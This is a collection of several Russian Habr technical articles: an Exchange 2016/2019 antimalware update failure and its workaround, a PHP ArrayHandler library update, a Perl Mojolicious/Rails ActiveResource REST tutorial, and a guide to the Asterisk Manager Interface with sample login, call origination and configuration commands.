В следующей части рассмотрим возможные варианты поведения для таверн, спаунпоинтов, соперников, посмотрим, как складываются поля, что такое блокировка приоритетным полем, рассмотрим, стоит ли закрашивать тупики. И, конечно, пара слов о конкурирующих алгоритмах.
→ [Ссылка на Vindinium](http://vindinium.org/)
→ [Ссылка на сабреддит Vindinium](https://www.reddit.com/r/vindinium/) — очень полезная вещь, там можно услышать ответы на очень интересные и заковыристые вопросы.
→ [Ссылка на мой гитхаб с небольшими старыми наработками по Vindinium](https://github.com/rakovskij-stanislav/Vindinium_Zaraza) | https://habr.com/ru/post/370767/ | null | ru | null |
# Exchange 2016\2019 перестал работать в новогоднюю ночь
Пользователи сообщают о невозможности получения или отправления писем через on-premise Exchange 2016 и 2019. Всему виной автоматически устанавливаемое обновление встроенного антивируса.
В журнале регистрируется сообщение **FIPFS 5300**
`The FIP-FS "Microsoft" Scan Engine failed to load. PID: 24608, Error Code: 0x80004005. Error Description: Can't convert "2201010004" to long.`
На данный момент Microsoft предлагает официальное временное решение. С ним можно ознакомиться по ссылке <https://techcommunity.microsoft.com/t5/exchange-team-blog/email-stuck-in-exchange-on-premises-transport-queues/ba-p/3049447>
Важный момент: если перед применением официального скрипта Вы отключали antimalware scanning, то его нужно будет включить вручную **после** применения официального решения.
`& $env:ExchangeInstallPath\Scripts\Enable-AntimalwareScanning.ps1`
`Restart-Service MSExchangeTransport`
**UPD:** Конкретно в моем случае рестарт MSExchangeTransport не привел к очистке очередей. Но после перезапуска всех служб Exchange почта заработала.
Via [Reddit](https://www.reddit.com/r/sysadmin/comments/rt91z6/exchange_2019_antimalware_bad_update/) | https://habr.com/ru/post/599031/ | null | ru | null |
# Типобезопасная работа с массивами PHP, часть 2
Всем привет, прошёл почти год с публикации [первой части](https://habr.com/ru/post/476102/). Обсуждение в комментариях было жарким, выводы я для себя сделал, изменения в либу внёс почти сразу, но написать об этом времени не нашлось.
На днях расширил функционал парой методов, и хочу поделиться с вами этими новостями.
И конечно я напишу о работе над ошибками.
Для тех кто не знал и забыл, что такое ArrayHandler
---------------------------------------------------
SpoilerОтветим на вопрос: "что такое типобезопасная работа с массивами в PHP ?"
Типобезопасная это:
* Когда мы можем получить элемент массива без опасности получить эксепшен о не существующем индексе;
* Когда мы можем передать полученный элемент в метод и мы точно не получим эксепшен несоответствия типов;
И последние в списке, но не последнее по значению, типобезопасный код - это когда нам приятно писать хороший код. Для меня это наверное даже самое важное, потому что я устал от бесконечных:
```
$a = 0;
if (key_exists($key, $collection))
{
$a = (int) $collection[$key];
}
```
И даже когда я узнал о современном способе писать через:
```
$a = (int) $collection[$key] ?? 0;
```
Мне от этого не полегчало, потому что вложенность у массивов бывает "мама не горюй".
Кроме этих трёх преимуществ, ArrayHandler даёт иммутабельность, то есть мы можем спокойно пробрасывать наш ArrayHandler, через слои абстракций и ни кто случайно не поменяет элементы внутри исходного массива. Для того что бы поменять значение, надо создать новый экземпляр ArrayHandler - и такое пропустить на код ревью сложнее, чем пропустить запись нового значения в элемент массива.
Не буду копипастить примеры работы с либой, их можно посмотреть [в первой части](https://habr.com/ru/post/476102/) или можно [почитать документацию](https://packagist.org/packages/sbwerewolf/language-specific).
Либа устанавливается через Композер:
```
composer require sbwerewolf/language-specific
```
Есть версии для PHP 5.6 / 7.0 / 7.2 .
Это было долгое вступление теперь по существу.
Обновления
----------
Пару дней назад мне было и грустно и скучно, захотелось сделать что ни будь хорошее, например сделать так что бы, когда пробегаешь по элементам с помощью foreach(), можно было не только получить элемент ( ValueHandler ), но индекс этого элемента.
Я с энтузиазмом принялся за работу и уже написав тонны кода, наткнулся на комент в документации к PHP, который сделал весь новый код бесполезным.
Оказывается можно делать так:
```
yield $key => $value;
```
И в foreach() будет возвращён индекс элемента. Эврика!
Теперь IArrayHandler::pulling() возвращает и новый IArrayHandler от элемента массива, и индекс этого элемента. Я был счастлив, кажется теперь ArrayHandler стал идеальной библиотекой для работы с массивами (в том виде как я обозначил в начале статьи).
На эмоциях я запилил ещё два метода. То есть ещё один метод - IArrayHandler::getting(), плюс я добавил поддержку интерфейса Iterator и теперь экземпляр ArrayHandler можно использовать в foreach() как обычный массив.
Теперь IArrayHandler::pulling() возвращает ArrayHandler для каждого вложенного массива (будут проигнорированы элементы исходного массива, которые не являются массивами). Название метода "pulling" образовалось от названия другого метода - IArrayHandler::pull(), с помощью которого можно получить экземпляр ArrayHandler от элемента массива.
IArrayHandler::getting() возвращает IValueHandler для всех элементов массива, не являющимися массивами. Название метода "getting" образовалось от названия другого метода - IArrayHandler::get(), с помощью которого можно получить экземпляр IValueHandler от элемента массива.
Теперь у нас IArrayHandler::pulling() для массивов, и IArrayHandler::getting() для всех остальных типов.
Более наглядно:
```
$data = new ArrayHandler(
[
'first' => ['A' => 1],
'next' => ['B'=>2],
'last' => ['C'=>3],
4=>[5,6],
7,
8,
9
]);
echo 'arrays'.PHP_EOL;
foreach ($data->pulling() as $key => $value) {
echo "[$key] => class is ".get_class($value).' '.PHP_EOL;
}
echo 'values'.PHP_EOL;
foreach ($data->getting() as $key => $value) {
echo "[$key] => {$value->asIs()} , class is ".get_class($value).' '.PHP_EOL;
}
```
Вывод скрипта:
```
arrays
[first] => class is LanguageSpecific\ArrayHandler
[next] => class is LanguageSpecific\ArrayHandler
[last] => class is LanguageSpecific\ArrayHandler
[4] => class is LanguageSpecific\ArrayHandler
values
[5] => 7 , class is LanguageSpecific\ValueHandler
[6] => 8 , class is LanguageSpecific\ValueHandler
[7] => 9 , class is LanguageSpecific\ValueHandler
```
Если нам надо пробежаться по всем элементам исходного массива, мы используем обычный foreach():
```
$data = new ArrayHandler(
[
'first' => ['A' => 1],
'next' => ['B'=>2],
'last' => ['C'=>3],
4=>[5,6],
7,
8,
9
]);
echo 'ALL'.PHP_EOL;
foreach ($data as $key => $value) {
$type = gettype($value->asIs());
echo "[$key] => value type is $type , class is ".get_class($value).PHP_EOL;
}
```
Вывод скрипта:
```
ALL
[first] => value type is array , class is LanguageSpecific\ValueHandler
[next] => value type is array , class is LanguageSpecific\ValueHandler
[last] => value type is array , class is LanguageSpecific\ValueHandler
[4] => value type is array , class is LanguageSpecific\ValueHandler
[5] => value type is integer , class is LanguageSpecific\ValueHandler
[6] => value type is integer , class is LanguageSpecific\ValueHandler
[7] => value type is integer , class is LanguageSpecific\ValueHandler
```
Соответственно, если мы какие то элементы хотим обработать как элементы, а какие то как массивы, то мы в foreach(), делаем так:
```
foreach ($data as $key => $value) {
/* @var \LanguageSpecific\ValueHandler $value */
if($value->type() === 'array'){
$handler = new ArrayHandler($value->array());
/* some code */
}
}
```
Работа над ошибками
-------------------
Метод IValueHandler::default() перестал быть статическим, его опасность до меня пытался донести [@GreedyIvan](/users/greedyivan), до меня дошло через неделю, спасибо.
Метод ArrayHandler::simplify() был удалён, потому что на самом деле
> Зачем ArrayHandler->simplify(), когда есть array\_column? (c) [@olegmar](/users/olegmar)
>
>
Cпасибо [@olegmar](/users/olegmar).
Метод IArrayHandler::next() был заменён на IArrayHandler::pulling(), этот метод перебирает все вложенные массивы (первый уровень вложенности). Не то что бы комент от [@Hett](/users/hett) меня прямо убедил, но к размышлениям подтолкнул.
Спасибо [@ReDev1L](/users/redev1l) за поддержку в коментах.
Был добавлен метод IArrayHandler::raw(), что бы можно было получить исходный массив. Раньше, когда не было возможности получить индекс элемента, приходилось перебирать исходный массив, сейчас по опыту использования, бывает необходимость добавить/убавить элементы массива и создать из изменённого массива новый ArrayHandler.
На этом всё. Спасибо за чтение.
Post scriptum
-------------
Добавил поддержку JsonSerializable, теперь получить JSON стало проще:
```
$data = new ArrayHandler(
[
'first' => ['A' => 1],
'next' => ['B'=>2],
'last' => ['C'=>3],
4=>[5,6],
7,
8,
9
]);
echo json_encode($data);
```
Вывод:
```
#raw
{"first":{"A":1},"next":{"B":2},"last":{"C":3},"4":[5,6],"5":7,"6":8,"7":9}
#formatted
{
"first": {
"A": 1
},
"next": {
"B": 2
},
"last": {
"C": 3
},
"4": [
5,
6
],
"5": 7,
"6": 8,
"7": 9
}
```
Добавил поддержку ArrayAccess (специально для любителей квадратных скобочек):
```
echo 'Use array access to all '.PHP_EOL;
foreach ($data as $key => $value) {
$element = $data[$key];
$type = gettype($element);
echo "[$key] => value type is $type";
if($type!== 'array'){
echo ", element value is $element";
}
echo PHP_EOL;
}
```
Вывод:
```
Use array access to all
[first] => value type is array
[next] => value type is array
[last] => value type is array
[4] => value type is array
[5] => value type is integer, element value is 7
[6] => value type is integer, element value is 8
[7] => value type is integer, element value is 9
``` | https://habr.com/ru/post/522348/ | null | ru | null |
# Взаимодействие веб-сервисов через REST
При разработке современных веб-сервисов зачастую появляется вопрос, каким образом обеспечить простое и прозрачное взаимодействие нескольких разнородных систем. Благо, выбор большой: здесь и [SOAP](http://en.wikipedia.org/wiki/SOAP), и [CORBA](http://en.wikipedia.org/wiki/CORBA), и [DCE/RPC](http://en.wikipedia.org/wiki/DCE/RPC), и, конечно же, [REST](http://en.wikipedia.org/wiki/Representational_state_transfer). О создании межплатформенного API на его базе и пойдет речь.
#### Зачем делать?
Действительно, зачем «городить огород» и использовать разнородные системы, если можно единожды выбрать один инструмент — либо Perl (+фреймворк по вкусу), либо Rails, и делать все на нем? Примерно за тем же, за чем мы используем шлицевую отвертку для шлицевого винта, а крестовую — для крестового, а не наоборот (так можно, конечно, но это не эффективно). Каждый инструмент лучше подходит для того или иного, определенного набора задач.
Предположим, что у нас есть веб-сервис, распределенно собирающий какую-либо информацию с помощью удаленно установленных агентов. Предположим, что речь идет не о ботнете (да и по-другому они сейчас работают), а о системе скачивания видео-контента с онлайн-ресурсов, типа YouTube.
Каналы не всегда хорошие, да и операторы порой делают [throttling](http://en.wikipedia.org/wiki/Bandwidth_throttling). А вот дать задание «агентам», чтобы потом скачать с большой скоростью через обычный HTTP/FTP уже готовые файлы — приятно.
Вот поэтому основной веб-сервис для простоты и удобства есть смысл разрабатывать на Rails, а агентов делать очень «тонкими», на том языке, что есть почти на всех Unix и на некоторых Windows-серверах: Perl.
#### Что делать?
Как я упомянул в начале статьи, сейчас существует множество протоколов для реализации API между сервисами. Раньше в этом случае я бы не задумывался, и использовал классический SOAP (по сути: XML + HTTP). Благо, есть неплохие инструменты реализации [что для Perl](http://soap-wsdl.sourceforge.net), [что для Rails](http://savonrb.com).
Но сейчас все большую и большую популярность приобретают RESTful API, и не зря. Здесь не требуется каких-то схем, definition'ов, дополнительных WSDL-файлов и прочих сложностей. Суть подхода в использовании команд HTTP (GET, PUT, POST, DELETE) в комбинации с соответствующим [URI](http://en.wikipedia.org/wiki/Uniform_resource_identifier). В зависимости от команды и URI, выполняется то или иное действие. Ответ приходит с помощью того же HTTP Response. Более подробно, с табличками и примерами, можно почитать [здесь](http://en.wikipedia.org/wiki/Representational_state_transfer#RESTful_web_services).
В нашем примере Perl будет выступать сервером, а Rails — клиентом.
Итак, с помощью чего реализовывать?
##### На стороне Perl
Perl сам по себе, без модулей, очень ограниченный инструмент. Поэтому для использования всей его силы и удобства, нам потребуется модуль [Mojolicious](http://mojolicio.us), позиционирующий себя как «A next generation web framework for the Perl programming language».
На его базе можно делать как RESTful-сервер, так и RESTful-клиент.
##### На стороне Rails
До недавнего времени в Rails не было нормального механизма REST-взаимодействия со сторонними сервисами, несмотря на то, что эта идеология пронизывает фреймворк с ног до головы. Поэтому, делались [различные](https://github.com/archiloque/rest-client) [GEM'ы](https://github.com/intridea/grape), решающие эту задачу с той или иной степенью успешности.
Благо, сейчас можно полноценно использовать встроенные механизы Rails, а именно класс **ActiveResource**, позволяющий работать с удаленным сервисом почти так же, как и **ActiveRecord**.
#### Как делать?
##### На стороне Perl
Предположим, что у нас есть множество объектов Downloads на стороне Perl, и со стороны Rails мы хотим выполнять с ними следующие действия:
* Создавать
* Получать
* Изменять
* Удалять
С помощью **Mojolicious** сделать RESTful веб-сервис под нашу задачу весьма несложно:
```
#!/usr/bin/perl -w
use Mojolicious::Lite;
# Создаем массив с тестовыми данными
# В нашем примере при создании/изменении используется
# только один параметр: URI видео файла для скачивания
my $downloads = [];
foreach my $id (0..10) {
$downloads->[$id] =
{ 'id' => $id,
'uri' => "http://site.com/download_$id",
'name' => "Video $id",
'size' => (int(rand(10000)) + 1) * 1024
};
}
# Непосредственное описание методов веб-сервиса
# Создание (create)
post '/downloads/' => sub {
my $self = shift;
# Мы получаем от Rails все параметры в JSON
# Поэтому, их надо распарсить
my $params = Mojo::JSON->decode($self->req->body)->{'download'};
# При создании в качестве уникального id выступает
# последний индекс нашего тестового массива
my $id = $#{ $downloads } + 1;
my $uri = $params->{'uri'} || 'http://localhost/video.mp4';
my $name = $params->{'name'} || "Video $id";
my $size = $params->{'size'} || (int(rand(10000)) + 1) * 1024;
$downloads->[$id] =
{ 'id' => $id,
'uri' => $uri,
'name' => $name,
'size' => $size
};
# Отправляем в качестве ответа созданный объект
$self->render_json($downloads->[$id]);
};
# Список всех объектов (index)
get '/downloads' => sub {
my $self = shift;
$self->render_json($downloads);
};
# Поиск и получение информации объекта (find/show)
get '/downloads/:id' => sub {
my $self = shift;
my $id = $self->param('id');
if (!exists($downloads->[$id])) {
# Если нет такого объекта - 404
$self->render_not_found;
} else {
# Иначе - отдаем объект
$self->render_json($downloads->[$id]);
}
};
# Редактирование (update)
put '/downloads/:id' => sub {
my $self = shift;
my $params = Mojo::JSON->decode($self->req->body)->{'download'};
my $id = $self->param('id');
my $uri = $params->{'uri'} || 'http://localhost/video.mp4';
my $name = $params->{'name'} || "Video $id";
my $size = $params->{'size'} || (int(rand(10000)) + 1) * 1024;
if (!exists($downloads->[$id])) {
$self->render_not_found;
} else {
$downloads->[$id] =
{ 'id' => $id,
'uri' => $uri,
'name' => $name,
'size' => $size
};
$self->render_json($downloads->[$id]);
}
};
# Удаление (delete)
del '/downloads/:id' => sub {
my $self = shift;
my $id = $self->param('id');
if (!exists($downloads->[$id])) {
$self->render_not_found;
} else {
delete $downloads->[$id];
# Посылаем HTTP 200 OK - объект успешно удален
$self->rendered;
}
};
# Пример нестандартной функции - старт загрузки
post '/downloads/:id/start' => sub {
my $self = shift;
my $id = $self->param('id');
if (!exists($downloads->[$id])) {
$self->render_not_found;
} else {
$self->rendered;
}
};
# Непосредственный запуск сервера
app->start;
```
Запускаем сервис. Используем порт **3001**, так как стандартный 3000, скорее всего, будет конфликтовать с вашей инсталляцией Rails:
```
./restful-server.pl daemon --listen=http://*:3001
```
##### На стороне Rails
В рамках этого примера весь Rails сведется к проверке работоспособности класса **ActiveResource** с нашим RESTful Perl-сервером.
Создаем нужный класс:
```
class Download < ActiveResource::Base
# Адрес Perl-сервера
self.site = 'http://localhost:3001'
end
```
Теперь мы можем выполнять с этим классом обычные для Rails действия.
Поиск всех объектов:
```
> Download.find(:all)
=> [#"Video 0", "id"=>"0", "size"=>7654400, "uri"=>"http://site.com/download\_0"}, @prefix\_options={}, @persisted=true>, #"Video 1", "id"=>"1", "size"=>8672256, "uri"=>"http://site.com/download\_1"}, @prefix\_options={}, @persisted=true>, #"Video 2", "id"=>"2", "size"=>5931008, "uri"=>"http://site.com/download\_2"}, @prefix\_options={}, @persisted=true>, #"Video 3", "id"=>"3", "size"=>2273280, "uri"=>"http://site.com/download\_3"}, @prefix\_options={}, @persisted=true>, #"Video 4", "id"=>"4", "size"=>8466432, "uri"=>"http://site.com/download\_4"}, @prefix\_options={}, @persisted=true>, #"Video 5", "id"=>"5", "size"=>7057408, "uri"=>"http://site.com/download\_5"}, @prefix\_options={}, @persisted=true>, #"Video 6", "id"=>"6", "size"=>2351104, "uri"=>"http://site.com/download\_6"}, @prefix\_options={}, @persisted=true>, #"Video 7", "id"=>"7", "size"=>5640192, "uri"=>"http://site.com/download\_7"}, @prefix\_options={}, @persisted=true>, #"Video 8", "id"=>"8", "size"=>9701376, "uri"=>"http://site.com/download\_8"}, @prefix\_options={}, @persisted=true>, #"Video 9", "id"=>"9", "size"=>9717760, "uri"=>"http://site.com/download\_9"}, @prefix\_options={}, @persisted=true>, #"Video 10", "id"=>"10", "size"=>6734848, "uri"=>"http://site.com/download\_10"}, @prefix\_options={}, @persisted=true>]
```
Поиск конкретного объекта:
```
> Download.find(5)
=> #"Video 5", "id"=>"5", "size"=>7057408, "uri"=>"http://site.com/download\_5"}, @prefix\_options={}, @persisted=true>
```
Поиск несуществующего объекта. Обратите внимание, как срабатывает **render\_not\_found**:
```
> Download.find(100)
ActiveResource::ResourceNotFound: Failed. Response code = 404. Response message = Not Found.
```
Создание объекта:
```
> download = Download.new
=> #
> download.name = "New Video"
=> "New Video"
> download.uri = "http://site.com/video.mp4"
=> "http://site.com/video.mp4"
> download.size = 23452363
=> 23452363
> download.save
=> true
> Download.last
=> #"New Video", "id"=>11, "size"=>23452363, "uri"=>"http://site.com/video.mp4"}, @prefix\_options={}, @persisted=true>
```
Изменение объекта:
```
> download = Download.find(5)
=> #"Video 5", "id"=>"5", "size"=>7057408, "uri"=>"http://site.com/download\_5"}, @prefix\_options={}, @persisted=true>
> download.name = "New Video 5"
=> "New Video 5"
> download.save
=> true
> Download.find(5)
=> #"New Video 5", "id"=>"5", "size"=>7057408, "uri"=>"http://site.com/download\_5"}, @prefix\_options={}, @persisted=true>
```
Удаление объекта:
```
> Download.find(5).destroy
=> #
> Download.find(5)
ActiveResource::ResourceNotFound: Failed. Response code = 404. Response message = Not Found.
```
Вызов нестандартной функции:
```
> Download.find(1).post(:start)
=> #
```
#### Что дальше?
Этот пример можно развить в следующих направлениях:
* ActiveResource не обладает жесткой моделью данных, но ее по желанию можно задать с помощью [schema](http://ofps.oreilly.com/titles/9780596521424/activeresource_id59243.html#activeresource_id35819304). Это позволит, к примеру, исключить ручное присвоение id строкового значения.
* Perl как RESTful-клиент с использованием модуля [Mojo::UserAgent](http://mojolicio.us/perldoc/Mojolicious/Guides/Cookbook#JSON_web_services)
* Аутентификация/авторизация
#### Использованные версии
* CentOS Linux 6.2
* Perl 5.10.1
* Mojolicious 2.97
* Ruby 1.9.3p125
* Rails 3.2.1 | https://habr.com/ru/post/148492/ | null | ru | null |
# Asterisk Managment Interface (AMI), Часть 2
В продолжение к опубликованной на днях первой части описания работа интерфейса PBX с открытым исходным кодом Asterisk я публикую вторую часть. В этой части приводятся некоторые примеры использования этого интерфейса для взаимодействия с PBX, начиная от подключения и авторизации, заканчивая осуществлением вызова и редактированием конфигурационных файлов.
Полная версия статьи писалась и будет исправляться здесь: [asteriskpbx.ru/wiki/manager-interface-doc](http://asteriskpbx.ru/wiki/manager-interface-doc)
#### Подключение к интерфейсу AMI
Для подключения к AMI, можно использовать программу telnet. Так выглядит приветствие системы:
`$ telnet 127.0.0.1 5038
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Asterisk Call Manager/1.1`
Далее набираем:
`Action: login
Username: admin
Secret: passwd1234`
два раза Enter, что равносильно вводу CRLF После, должны увидеть такой ответ (пакет Response):
`Response: Success
Message: Authentication accepted`
Что говорит нам о том, что мы удачно залогинились в интерфейс AMI. Во время успешного входа в AMI, в консоли Астериска мы увидим (в 1.4):
`asterisk*CLI>
== Parsing '/etc/asterisk/manager.conf': Found
== Manager 'admin' logged on from 127.0.0.1`
В 1.6 устранена необходимость считывать с диска конфигурацию при каждом подключении к AMI. Они считывается единожды при старте программы и может быть перечитана при перезагрузке (команды приведены выше).
Увидеть всех пользователей, соединенных в данный момент с интерфейсом AMI, можно из консоли Астериска:
`*CLI> manager show connected`
Замена пароля и выполнение команды 'manager reload' никак не влияют на права для уже установленных сессий AMI. Это означает что если в файле изменены пароль или права доступа, то эти изменения не затронут уже работающих с сервером клиентов
Если Вам не нужны события, генерируемые Астериском (их может быть очень много, что затруднить чтение в консоли ответов Астериска), то в параметры, передаваемые во время процедура аутентификации, можно включить еще запись
`Events: off`
Эта запись предотвратит посылку пакетов Event со стороны сервера в рамках установленного соединения
Чтобы завершить сессию подключения к AMI, необходимо выполнить:
`Action: logoff`
После чего мы увидим на экране telnet сессии:
`Response: Goodbye
Message: Thanks for all the fish.`
Во время завершения AMI сессии, в консоли Астериска мы можем увидеть следующее:
`asterisk*CLI>
== Manager 'admin' logged off from 127.0.0.1`
Примечание Естественно, AMI интерфейс не предназначен для того, чтобы вручную администратор с помощью клиента telnet и ему подобных, осуществлял соединение с сервером Астериск. Здесь этот пример показан исключительно как демонстрация возможностей и наглядности работы обмена пакетами Action, Event и Response. Однако такой подход может пригодиться при обучении и отладке действия той или иной команды.
Примечание Увидеть все команды, относящиеся к CLI интерфейсу управления Астериска AMI, можно набрав в консоли:
`asterisk *CLI> help manager`
#### Пароли при авторизации в AMI
Важно понимать, что пароли, передаваемые при соединении с AMI интерфейсом передаются открытым текстом. Это может быть угрозой для работы сервиса Астериск. Чтобы скрыть передаваемый пароль, используют алгоритм md5. Использование алгоритм md5 никаким образом не снимает требований к безопасности, описанных выше. Если вы все-таки используете удаленное подключение даже в приватной сети, рекомендуется использовать запрос/ответ и алгоритм md5, принцип которого очень похож на аналогичную аутентификацию протокола HTTP и SIP. Для этого сначала вызываем действие Challenge (Запрос), который предоставит Вам маркер запроса:
`Action: Challenge
AuthType: md5
Response: Success
Challenge: 84041345`
После этого можно взять маркер полученного запроса и доваить в конце незашифрованный пароль и вычислить контрольную сумму результирующей строки по алгоритму md5. Результат может использоваться для регистрации без необходимости передачи секрета открытым текстом (plain text). Это будет выглядеть следующим образом:
`Action: login
AuthType: MD5
Username: admin
Key: qwf32r23p98yvdspa9h4o4woaewv7`
где Key — результирующая сумма.
Примечание md5 алгоритм на входе принимает любую длину символов и на выходе выдать 128-битный отпечаток (finger-print) или профиль сообщения (message digest), которое было подано на вход алгоритма. Гипотетически считается, что два сообщения, которые имеют один и тот же профиль сообщения или выработаны любым сообщением, имеют определенный профиль сообщения.
Message digest — коротка цифровая строка фиксированной длины, формируется из более длинного сообщения с использованием специального алгоритма. Алгоритм md5 назначен для цифровой подписи (digital signature) приложений, где большие файлы должны быть «сжаты» в безопасный способ, до того как они будут закриптованы с помощью публичного или скрытого ключа с помощью криптосистемы с открытым ключом, например RSA. Digital signature — цифровая подпись, которая является уникальным электронным идентификатором, обеспечивающим проверку сообщения с установлением подлинности отправителя и гарантии то, что документ не был изменен с момента подписания.
#### Пакеты Action
В то время, когда Астериск отсылает пакеты Action, необходимо обеспечить дополнительные ключи для правильного выполнения, например, вы захотите определить номер вызова и прочее. Более того, возможно вы захотите выполнить вход в номерной план Астериск и передать некоторые параметры канальным переменным. В этом случае, процесс передачи ключей будет выглядеть так:
``Action: :
:
.......
Приведем пример, как с помощью AMI интерфейса можно осуществить вызов (допустим сессия Manager'а уже установлена):
Action: Originate
Channel: SIP/2401
Context: incoming
Exten: 2401
Priority: 1
Callerid: 2401
Variable: ANSWER=1
Variable: \_ACC=2`
Необходимо, чтобы SIP пользователь 2401 присутствовал в системе и был зарегистрирован. После нажатия двух раз Enter, мы получили вызов на SIP-телефон. В это время в консоли Астериска получим такое:
``Action: Originate
Channel: SIP/2401
Context: incoming
Exten: 2401
Priority: 1
Callerid: 2401
Variable: ANSWER=1
Variable: _ACC=2
Event: Newchannel
Privilege: call,all
Channel: SIP/2401-09a1f418
State: Down
CallerIDNum: CallerIDName: Uniqueid: 1237301090.1
Event: Newcallerid
Privilege: call,all
Channel: SIP/2401-09a1f418
CallerID: 2401
CallerIDName: Uniqueid: 1237301090.1
CID-CallingPres: 0 (Presentation Allowed, Not Screened)
Event: Newstate
Privilege: call,all
Channel: SIP/2401-09a1f418
State: Ringing
CallerID: 2401
CallerIDName: Uniqueid: 1237301090.1
Event: Hangup
Privilege: call,all
Channel: SIP/2401-09a1f418
Uniqueid: 1237301090.1
Cause: 19
Cause-txt: User alerting, no answer
Чтобы увидеть все события, которые ожидают отправки в Астериске, необходимо в CLI написать;
asterisk*CLI> manager show eventq`
на что в ответ получим:
`Usecount: 1
Category: 2
Event:
Event: Hangup
Privilege: call,all
Channel: SIP/2401-09a1f418
Uniqueid: 1237301603.2
Cause: 21
Cause-txt:`
Как видно из примера, мы выполнили команду Originate, которая доступна в интерфейсе AMI. Более подробную информацию по каждой из команд AMI, можно увидеть выполнив в CLI команду:
`asterisk *CLI> manager show command [имя_команды]`
#### Уровни авторизации read и write
Параметры read и write в файле manager.conf задают уровни авторизации для различных классов команд AMI. Например, если для пользователя AMI определено в настройках manager.conf обе секции read и write без уровня авторизации «command», тогда этот пользователь не сможет выполнять те команды, для которых определены привилегии — privilege:command. Узнать, какой класс привилегий необходимо иметь, чтобы выполнить ту или иную AMI команду в Астериске, можно просмотрев описание этой команды в консоли Астериска:
`asterisk*CLI> manager show command Command
Action: Command
Synopsis: Execute Asterisk CLI Command
Privilege: command,all
Description: Run a CLI command.
Variables: (Names marked with * are required)
*Command: Asterisk CLI command to run
ActionID: Optional Action id for message matching.`
В выводе присутствует краткое описание (Synopsis) действия,выполняемого на Астериске. В Privilege говориться о том, какие привилегии должны быть установлены в manager.conf подключенному пользователю, чтобы выполнить ее в сессии AMI. Variables говорит нам о том, какие параметры возможно передать для успешной отработки команды. Команда обозначенная звездочкой — *Command, является обязательной (не во всех командах соблюден такой порядок обозначения), а вот ActionID — опционально.
Как было сказано выше, в manager.conf мы определяем пользователей AMI — список доступа (access list). Для каждого из пользователей со списка, необходимо определить множество событий (events) и действий (actions), которые этим пользователям будут давать доступ. Это задается директивами read/write. Read директива определяет те типы событий, которые отсылаются к пользователю AMI.
Write директива определяет, что для AMI пользователей разрешено инициировать действия, определенные этой директивой. Следующая информация по значениям для директивы read/write, должна пролить свет на их предназначение:
* system — действия и события, которые относятся к ядру Астериска, такие как SIP пиры и БД;
* call — действия и события, относящиеся непосредственно статусов экстеншинов, протекание и управление звонком;
* log — Logging information, исходная документация не дает детальной информации о том, что именно определено событиями этого типа;
* verbose - Verbose information, исходная документация не дает детальной информации о том, что именно определено событиями этого типа;
* command — эта директива позволяет присоединенным пользователям отсылать команды в консоль CLI Астериска;
* agent — действия и события, которые относятся к приложения очередей (queue);
* user — определяет события, которые могут быть сгенерированы с номерного плана, используя приложение UserEvent. Использование событий этого типа является полезным средством для разработки приложений, которые соединяют номерной план, AGI, AMI одновременно;
* config - возможность читать и записывать содержимое в конфигурационные файлы;
* dtmf - получение DTMF событий (только чтение);
* reporting - возможность получать информацию о системе;
* cdr - результаты работы модуля cdr\_manager (если загружен, только чтение);
* dialplan - получение событий NewExten и VarSet (только чтение);
* originate - доступ к возможности создавать новые вызовы (только запись).
Примечание Следует сказать, что время от времени AMI интерфейс расширяется новыми функциями и возможностями. Например, в версии Астериска 1.4 и 1.6 были переписаны AMI интерфейсы, что позволит реализовывать много-поточные операции и лучше управлять потоками (flow control) или обменом сигналами, присоединенных пользователей. Не смотря на постоянно совершенствование AMI интерфейса, шанс получить при активной работе с AMI взаимную блокировку потоков существует.
Примеры использования AMI. Почему нужен уникальный ActionID. Параметры команд AMI ¶
В списке команд AMI есть команда, которая запрашивает конфигурационные данные от Астериска. Более подробную информацию можно узнать:
`asterisk *CLI> manager show command GetConfig`
Запрос на получения настроек файла sip.conf можно получить так:
`Action: GetConfig
Filename: sip.conf
ActionID: 435430239485234`
После чего мы получим следующее:
`Response: Success
ActionID: 435430239485234
Category-000000: general
Line-000000-000000: context=incoming
Line-000000-000001: language=ru
Line-000000-000002: allowguest=yes
Line-000000-000003: bindport=5060
Line-000000-000004: bindaddr=0.0.0.0
Line-000000-000005: dtmfmode=info
Line-000000-000006: disallow=all
Line-000000-000007: allow=alaw
Line-000000-000008: allow=ulaw
Line-000000-000009: allow=gsm
Line-000000-000010: nat=never
Line-000000-000011: canreinvite=no
Category-000001: 2401
Line-000001-000000: type=friend
Line-000001-000001: host=dynamic
Line-000001-000002: username=2401
Line-000001-000003: secret=2401
Line-000001-000004: callerid=2401
Line-000001-000005: context=incoming`
В пакете Action мы сгенерировали номер, который настоятельно рекомендуется делать уникальным, а в ответе Response мы получили такой же ActionID. Если бы мы сгенерировали много запросов через интерфейс AMI, при этом не обозначив каждый из запросов уникальным ActionID и имея «плохой» канал связи, в котором могли быть задержки, пакеты, сгенерированный со стороны клиента (Action-пакеты), в ответ от Астериска, вызывали бы несколько ответных Response-пакетов. В виду плохого канала, ответные Response-пакеты приходили бы не в том порядке, в котором они были сгенерированы клиентом AMI. Следовательно, программа пославшая Action-пакеты, не знала бы на какой запрос Action пришел тот или иной Response. Это могло бы вызвать проблемы с обработкой пакетов на стороне клиента, который имеет соединение через AMI интерфейс.
Чтобы перезагрузить конфигурацию sip.conf, через AMI можно сделать следующее:
`Action: Command
Command: sip reload
ActionID: 230432984582`
Получаем ответ от AMI:
`Response: Follows
Privilege: Command
ActionID: 230432984582
--END COMMAND--
Event: ChannelReload
Privilege: system,all
Channel: SIP
ReloadReason: CLIRELOAD (Channel module reload by CLI command)
Registry_Count: 0
Peer_Count: 2
User_Count: 2`
Часто может оказаться полезным делать обновление конфигурационных файлов через AMI интерфейс. Для этого используется команда UpdateConfig. Например, удалим пользователя 2402 из файла sip.conf. Команда UpdateConfig имеет много параметров:
`asterisk*CLI> manager show command UpdateConfig
Action: UpdateConfig
Synopsis: Update basic configuration
Privilege: config,all
Description: A 'UpdateConfig' action will modify, create, or delete
configuration elements in Asterisk configuration files.
Variables (X's represent 6 digit number beginning with 000000):
SrcFilename: Configuration filename to read(e.g. foo.conf)
DstFilename: Configuration filename to write(e.g. foo.conf)
Reload: Whether or not a reload should take place (or name of specific module)
Action-XXXXXX: Action to Take (NewCat,RenameCat,DelCat,Update,Delete,Append)
Cat-XXXXXX: Category to operate on
Var-XXXXXX: Variable to work on
Value-XXXXXX: Value to work on
Match-XXXXXX: Extra match required to match line`
